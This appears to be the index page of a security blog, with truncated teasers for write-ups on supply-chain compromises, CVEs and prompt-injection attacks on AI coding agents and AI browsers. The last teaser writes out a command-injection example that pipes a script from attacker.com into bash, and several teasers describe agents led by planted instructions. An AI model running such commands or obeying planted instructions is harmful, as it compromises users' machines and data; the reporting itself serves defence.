Expert perspectives on application security, compliance, and emerging threats
IncidentWhat Happened In June 2026, attackers compromised the Mastra AI framework s npm publishing workflow. This breach allowed adversaries to control the package distribution mechanism, affecting the pipeli
IncidentWhat Happened Cato AI Labs discovered two critical vulnerabilities in Cursor, the AI code editor used by more than half the Fortune 500. Both flaws—CVE-2026-50548 and CVE-2026-50549, each rated 9.8 ou
IncidentWhat Happened In early 2021, an attacker modified a single line in Codecov s Bash Uploader script. This change caused the script to exfiltrate environment variables to an external server before execut
IncidentWhat Happened Adobe released emergency patches for seven vulnerabilities with CVSS scores of 10.0 across ColdFusion and Campaign Classic. These flaws, including CVE-2026-48286, represent the maximum s
Get weekly security insights and compliance updates delivered to your inbox.
IncidentOverview of the Vulnerabilities Adobe has released patches for seven maximum-severity vulnerabilities in ColdFusion and Campaign Classic. These vulnerabilities enable remote code execution through att
IncidentIncident Overview An attacker exploited AI coding agents using a technique called Agentjacking. This attack involves submitting fake bug reports with embedded instructions. The AI agent processes thes
IncidentWhat Happened Novee Security discovered a vulnerability class named Cordyceps that exploits how CI/CD workflows handle external input. This flaw allows attackers to inject malicious code through contr
IncidentYour AI coding assistant just executed arbitrary commands on your workstation. No malware download. No phishing link. Just a malicious instruction hidden in code it was reviewing. This happened to Cur
IncidentWhat Happened Large language models (LLMs) often generate fake web domains when users request brand recommendations or technical documentation links. These hallucinated domains—plausible-sounding URLs
IncidentLayerX Security has demonstrated a new attack called BioShocking that targets AI browsers operating in autonomous agent mode. This attack uses indirect prompt injection, disguised as game instructions
IncidentCritical Vulnerabilities in Bower Security researchers have identified critical vulnerabilities in Bower, a web package manager, that allow attackers to write arbitrary files to the filesystem during
IncidentWhat Happened Between March 27 and April 15, 2026, attackers exploited CVE-2026-33017 , a critical remote code execution vulnerability in Langflow with a CVSS score of 9.3, to deploy Monero mining sof
IncidentIn October 2024, LayerX security researchers disclosed a prompt injection vulnerability named BioShocking. This attack tricks AI-powered browsers into executing malicious actions by framing them as pa
IncidentWhat Happened An AI agent leaked sensitive data by following instructions embedded in a malicious tool description. The agent operated within its parameters, without breaking rules or bypassing authen
IncidentUnderstanding the Vulnerability On January 16, 2019, a vulnerability in NumPy was reported, allowing arbitrary code execution through unsafe handling of pickled objects. This flaw affects NumPy versio
ResearchYour AI coding agent just suggested running git commit -am fix bug . Looks innocent. But what if the agent was compromised to suggest git commit -am fix bug ; curl attacker.com/exfil.sh | bash ? Resea
